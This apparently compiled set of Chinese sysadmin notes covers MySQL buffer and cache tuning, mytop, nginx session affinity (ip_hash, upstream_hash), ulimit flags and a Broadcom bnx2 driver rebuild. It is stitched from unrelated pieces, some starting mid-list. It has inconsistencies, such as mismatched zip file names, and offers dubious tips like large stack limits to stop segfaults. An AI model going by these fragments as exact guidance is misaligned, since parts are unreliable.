使用非常大的查询缓存,期望可以缓存所有东西,这种想法非常诱人。由于 mysqld 必须要对缓存进行维护,例如当内存变得很低时执行剪除,因此服务器可能会在试图管理缓存时而陷入困境。作为一条规则,如果 FLUSH QUERY CACHE 占用了很长时间,那就说明缓存太大了。
强制限制
您可以在 mysqld 中强制一些限制来确保系统负载不会导致资源耗尽的情况出现。清单 3 给出了 my.cnf 中与资源有关的一些重要设置。
清单 3. MySQL 资源设置
set-variable=max_connections=500set-variable=wait_timeout=10max_connect_errors = 100
连接最大个数是在第一行中进行管理的。与 Apache 中的 MaxClients 类似,其想法是确保只建立服务允许数目的连接。要确定服务器上目前建立过的最大连接数,请执行 SHOW STATUS LIKE 'max_used_connections'。
第 2 行告诉 mysqld 终止所有空闲时间超过 10 秒的连接。在 LAMP 应用程序中,连接数据库的时间通常就是 Web 服务器处理请求所花费的时间。有时候,如果负载过重,连接会挂起,并且会占用连接表空间。如果有多个交互用户或使用了到数据库的持久连接,那么将这个值设低一点并不可取!
最后一行是一个安全的方法。如果一个主机在连接到服务器时有问题,并重试很多次后放弃,那么这个主机就会被锁定,直到 FLUSH HOSTS 之后才能运行。默认情况下,10 次失败就足以导致锁定了。将这个值修改为 100 会给服务器足够的时间来从问题中恢复。如果重试 100 次都无法建立连接,那么使用再高的值也不会有太多帮助,可能它根本就无法连接。
缓冲区和缓存
MySQL 支持超过 100 个的可调节设置;但是幸运的是,掌握少数几个就可以满足大部分需要。查找这些设置的正确值可以通过 SHOW STATUS 命令查看状态变量,从中可以确定 mysqld 的运作情况是否符合我们的预期。给缓冲区和缓存分配的内存不能超过系统中的现有内存,因此调优通常都需要进行一些妥协。
MySQL 可调节设置可以应用于整个 mysqld 进程,也可以应用于单个客户机会话。
服务器端的设置
每个表都可以表示为磁盘上的一个文件,必须先打开,后读取。为了加快从文件中读取数据的过程,mysqld 对这些打开文件进行了缓存,其最大数目由 /etc/mysqld.conf 中的 table_cache 指定。清单 4 给出了显示与打开表有关的活动的方式。
清单 4. 显示打开表的活动
mysql> SHOW STATUS LIKE 'open%tables';+---------------+-------+| Variable_name | Value |+---------------+-------+| Open_tables | 5000 || Opened_tables | 195 |+---------------+-------+2 rows in set (0.00 sec)
清单 4 说明目前有 5,000 个表是打开的,有 195 个表需要打开,因为现在缓存中已经没有可用文件描述符了(由于统计信息在前面已经清除了,因此可能会存在 5,000 个打开表中只有 195 个打开记录的情况)。如果 Opened_tables 随着重新运行 SHOW STATUS 命令快速增加,就说明缓存命中率不够。如果 Open_tables 比 table_cache 设置小很多,就说明该值太大了(不过有空间可以增长总不是什么坏事)。例如,使用 table_cache = 5000 可以调整表的缓存。
与表的缓存类似,对于线程来说也有一个缓存。 mysqld 在接收连接时会根据需要生成线程。在一个连接变化很快的繁忙服务器上,对线程进行缓存便于以后使用可以加快最初的连接。
清单 5. 显示线程使用统计信息
mysql> SHOW STATUS LIKE 'threads%';+-------------------+--------+| Variable_name | Value |+-------------------+--------+| Threads_cached | 27 || Threads_connected | 15 || Threads_created | 838610 || Threads_running | 3 |+-------------------+--------+4 rows in set (0.00 sec)
此处重要的值是 Threads_created,每次 mysqld 需要创建一个新线程时,这个值都会增加。如果这个数字在连续执行 SHOW STATUS 命令时快速增加,就应该尝试增大线程缓存。例如,可以在 my.cnf 中使用 thread_cache = 40 来实现此目的。
关键字缓冲区保存了 MyISAM 表的索引块。理想情况下,对于这些块的请求应该来自于内存,而不是来自于磁盘。清单 6 显示了如何确定有多少块是从磁盘中读取的,以及有多少块是从内存中读取的。
清单 6. 确定关键字效率
mysql> show status like '%key_read%';+-------------------+-----------+| Variable_name | Value |+-------------------+-----------+| Key_read_requests | 163554268 || Key_reads | 98247 |+-------------------+-----------+2 rows in set (0.00 sec)
Key_reads 代表命中磁盘的请求个数, Key_read_requests 是总数。命中磁盘的读请求数除以读请求总数就是不中比率 —— 在本例中每 1,000 个请求,大约有 0.6 个没有命中内存。如果每 1,000 个请求中命中磁盘的数目超过 1 个,就应该考虑增大关键字缓冲区了。例如,key_buffer = 384M 会将缓冲区设置为 384MB。
临时表可以在更高级的查询中使用,其中数据在进一步进行处理(例如 GROUP BY 字句)之前,都必须先保存到临时表中;理想情况下,在内存中创建临时表。但是如果临时表变得太大,就需要写入磁盘中。清单 7 给出了与临时表创建有关的统计信息。
清单 7. 确定临时表的使用
mysql> SHOW STATUS LIKE 'created_tmp%';+-------------------------+-------+| Variable_name | Value |+-------------------------+-------+| Created_tmp_disk_tables | 30660 || Created_tmp_files | 2 || Created_tmp_tables | 32912 |+-------------------------+-------+3 rows in set (0.00 sec)
每次使用临时表都会增大 Created_tmp_tables;基于磁盘的表也会增大 Created_tmp_disk_tables。对于这个比率,并没有什么严格的规则,因为这依赖于所涉及的查询。长时间观察 Created_tmp_disk_tables 会显示所创建的磁盘表的比率,您可以确定设置的效率。 tmp_table_size 和 max_heap_table_size 都可以控制临时表的最大大小,因此请确保在 my.cnf 中对这两个值都进行了设置。
每个会话的设置
下面这些设置针对于每个会话。在设置这些数字时要十分谨慎,因为它们在乘以可能存在的连接数时候,这些选项表示大量的内存!您可以通过代码修改会话中的这些数字,或者在 my.cnf 中为所有会话修改这些设置。
当 MySQL 必须要进行排序时,就会在从磁盘上读取数据时分配一个排序缓冲区来存放这些数据行。如果要排序的数据太大,那么数据就必须保存到磁盘上的临时文件中,并再次进行排序。如果 sort_merge_passes 状态变量很大,这就指示了磁盘的活动情况。清单 8 给出了一些与排序相关的状态计数器信息。
清单 8. 显示排序统计信息
mysql> SHOW STATUS LIKE "sort%";+-------------------+---------+| Variable_name | Value |+-------------------+---------+| Sort_merge_passes | 1 || Sort_range | 79192 || Sort_rows | 2066532 || Sort_scan | 44006 |+-------------------+---------+4 rows in set (0.00 sec)
如果 sort_merge_passes 很大,就表示需要注意 sort_buffer_size。例如, sort_buffer_size = 4M 将排序缓冲区设置为 4MB。
MySQL 也会分配一些内存来读取表。理想情况下,索引提供了足够多的信息,可以只读入所需要的行,但是有时候查询(设计不佳或数据本性使然)需要读取表中大量数据。要理解这种行为,需要知道运行了多少个 SELECT 语句,以及需要读取表中的下一行数据的次数(而不是通过索引直接访问)。实现这种功能的命令如清单 9 所示。
清单 9. 确定表扫描比率
mysql> SHOW STATUS LIKE "com_select";+---------------+--------+| Variable_name | Value |+---------------+--------+| Com_select | 318243 |+---------------+--------+1 row in set (0.00 sec)mysql> SHOW STATUS LIKE "handler_read_rnd_next";+-----------------------+-----------+| Variable_name | Value |+-----------------------+-----------+| Handler_read_rnd_next | 165959471 |+-----------------------+-----------+1 row in set (0.00 sec)
Handler_read_rnd_next / Com_select 得出了表扫描比率 —— 在本例中是 521:1。如果该值超过 4000,就应该查看 read_buffer_size,例如 read_buffer_size = 4M。如果这个数字超过了 8M,就应该与开发人员讨论一下对这些查询进行调优了!
3 个必不可少的工具
尽管在了解具体设置时,SHOW STATUS 命令会非常有用,但是您还需要一些工具来解释 mysqld 所提供的大量数据。我发现有 3 个工具是必不可少的;在 参考资料 一节中您可以找到相应的链接。
大部分系统管理员都非常熟悉 top 命令,它为任务所消耗的 CPU 和内存提供了一个不断更新的视图。 mytop 对 top 进行了仿真;它为所有连接上的客户机以及它们正在运行的查询提供了一个视图。mytop 还提供了一个有关关键字缓冲区和查询缓存效率的实时数据和历史数据,以及有关正在运行的查询的统计信息。这是一个很有用的工具,可以查看系统中(比如 10 秒钟之内)的状况,您可以获得有关服务器健康信息的视图,并显示导致问题的任何连接。
mysqlard 是一个连接到 MySQL 服务器上的守护程序,负责每 5 分钟搜集一次数据,并将它们存储到后台的一个 Round Robin Database 中。有一个 Web 页面会显示这些数据,例如表缓存的使用情况、关键字效率、连接上的客户机以及临时表的使用情况。尽管 mytop 提供了服务器健康信息的快照,但是 mysqlard 则提供了长期的健康信息。作为奖励,mysqlard 使用自己搜集到的一些信息针对如何对服务器进行调优给出一些建议。
搜集 SHOW STATUS 信息的另外一个工具是 mysqlreport。其报告要远比 mysqlard 更加复杂,因为需要对服务器的每个方面都进行分析。这是对服务器进行调优的一个非常好的工具,因为它对状态变量进行适当计算来帮助确定需要修正哪些问题。
结束语
本文介绍了对 MySQL 进行调优的一些基础知识,并对这个针对 LAMP 组件进行调优的 3 部分系列文章进行了总结。调优很大程度上需要理解组件的工作原理,确定它们是否正常工作,进行一些调整,并重新评测。每个组件 —— Linux、Apache、PHP 或 MySQL —— 都有各种各样的需求。分别理解各个组件可以帮助减少可能会导致应用程序速度变慢的瓶颈。
mytop使用方法:
# mytop -u root -p 123456 -d mydb_name
显示结果:
第一行显示了主机名称,还有至今 MySQL 的运行时间 (以 days+hour:minutes:seconds 为格式)。
第二行的 Queries 显示了至今执行的 SQL 查询语句总数,另外还有目前每秒处理的查询数和速度。
第三行的 Key Efficiency 就是传说中的缓存命中率了,如果太低了你可能要调整你的 MySQL 设置,或者调整一下表的结构,后面还有目前的进出速度。
最下方的区域就是目前链接到数据库的各个线程,你可以按 k 杀死一个线程,或者按 f 了解特定线程的信息。
能把session改成cookie,就能避开session的一些弊端,在从前看的一本J2EE的书上,也指明在集群系统中不能用session,否则惹出祸端来就不好办。如果系统不复杂,就优先考虑能否将session去掉,改动起来非常麻烦的话,再用下面的办法。
2) 应用服务器自行实现共享
已知的,php可以用数据库或memcached来保存session,从而在php本身建立了一个session集群,用这样的方式可以令 session保证稳定,即使某个节点有故障,session也不会丢失,适用于较为严格但请求量不高的场合。但是它的效率是不会很高的,不适用于对效率 要求高的场合。
以上两个办法都跟nginx没什么关系,下面来说说用nginx该如何处理:
3) ip_hash
nginx中的ip_hash技术能够将某个ip的请求定向到同一台后端,这样一来这个ip下的某个客户端和某个后端就能建立起稳固的session,ip_hash是在upstream配置中定义的:
upstream backend {
server 127.0.0.1:8001;
server 127.0.0.1:8002;
ip_hash;
}
ip_hash是容易理解的,但是因为仅仅能用ip这个因子来分配后端,因此ip_hash是有缺陷的,不能在一些情况下使用:
1/ nginx不是最前端的服务器。ip_hash要求nginx一定是最前端的服务器,否则nginx得不到正确ip,就不能根据ip作hash。譬如使用 的是squid为最前端,那么nginx取ip时只能得到squid的服务器ip地址,用这个地址来作分流是肯定错乱的。
2/ nginx的后端还有其它方式的负载均衡。假如nginx后端又有其它负载均衡,将请求又通过另外的方式分流了,那么某个客户端的请求肯定不能定位到同一 台session应用服务器上。这么算起来,nginx后端只能直接指向应用服务器,或者再搭一个squid,然后指向应用服务器。最好的办法是用 location作一次分流,将需要session的部分请求通过ip_hash分流,剩下的走其它后端去。
4) upstream_hash
为了解决ip_hash的一些问题,可以使用upstream_hash这个第三方模块,这个模块多数情况下是用作url_hash的,但是并不妨碍将它用来做session共享:
假如前端是squid,他会将ip加入x_forwarded_for这个http_header里,用upstream_hash可以用这个头做因子,将请求定向到指定的后端:
可见这篇文档:
http://www.oschina.net/discuss/thread/622
在文档中是使用$request_uri做因子,稍微改一下:
hash $http_x_forwarded_for;
这样就改成了利用x_forwarded_for这个头作因子,在nginx新版本中可支持读取cookie值,所以也可以改成:
hash $cookie_jsessionid;
假如在php中配置的session为无cookie方式,配合nginx自己的一个userid_module模块就可以用nginx自发一个cookie,可参见userid模块的英文文档:
http://wiki.nginx.org/NginxHttpUserIdModule
ulimit用于shell启动进程所占用的资源.
2,类别:
shell内建命令
3,语法格式:
ulimit: usage: ulimit [-SHacdfilmnpqstuvx] [limit]
4,参数介绍:
-H 设置硬件资源限制.
-S 设置软件资源限制.
-a 显示当前所有的资源限制.
-c size:设置core文件的最大值.单位:blocks
-d size:设置数据段的最大值.单位:kbytes
-f size:设置创建文件的最大值.单位:blocks
-l size:设置在内存中锁定进程的最大值.单位:kbytes
-m size:设置可以使用的常驻内存的最大值.单位:kbytes
-n size:设置内核可以同时打开的文件描述符的最大值.单位:n
-p size:设置管道缓冲区的最大值.单位:kbytes
-s size:设置堆栈的最大值.单位:kbytes
-t size:设置CPU使用时间的最大上限.单位:seconds
-v size:设置虚拟内存的最大值.单位:kbytes
5.举例
在Linux下写程序的时候,如果程序比较大,经常会遇到“段错误”(segmentation fault)这样的问题,这主要就是由于Linux系统初始的堆栈大小(stack size)太小的缘故,一般为10M。我一般把stack size设置成256M,这样就没有段错误了!命令为:
ulimit -s 262140
如果要系统自动记住这个配置,就编辑/etc/profile文件,在 “ulimit -S -c 0 > /dev/null 2>&1”行下,添加“ulimit -s 262140”,保存重启系统就可以了
1 R410网卡为Broadcom bnx2 Linux Driver
驱动下载:http://zh-cn.broadcom.com/support/ethernet_nic/netxtremeii.php 下载linux 版本
2 下载为linux-5.2.55.zip
解压:unzip linux-1.9.20b_1.50.13.zip
3 cd Server/Linux/Driver/netxtreme2-5.2.55/bnx2/src
编译驱动bnx2.o (或bnx2.ko),生成可加载的模块
make
make install
新的网卡驱动会产生在/lib/modules/2.6.18-128.el5/updates目录下,
需要重新加载才能使用,下面是不需重启服务器重新加载模块的脚本
#!/bin/sh
rmmod bnx2
depmod
modprobe bnx2
内核在加载的时候是靠modules.dep 文件,这个文件是执行depmod命令产生,简单的说这个命令是把
/lib/modules下的目录里的外部模块加载到modules.dep 文件,是按目录层次进行的,updates目录内的网卡模块比源系统kernel/drivers/net下的网卡模块先加载,所以源驱动不必删除也不用 把新的模块cp到原来的目录下(不过这样做也是可以的)。
lsmod |grep bnx2 查看是否升级
查看网卡型号
lspci | grep Ethernet
查看驱动版本号
modinfo bnx2
关闭acpi
vi /boot/grub/grub.conf
title CentOS (2.6.18-164.6.1.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-164.6.1.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quiet acpi=off noapic
initrd /initrd-2.6.18-164.6.1.el5.img






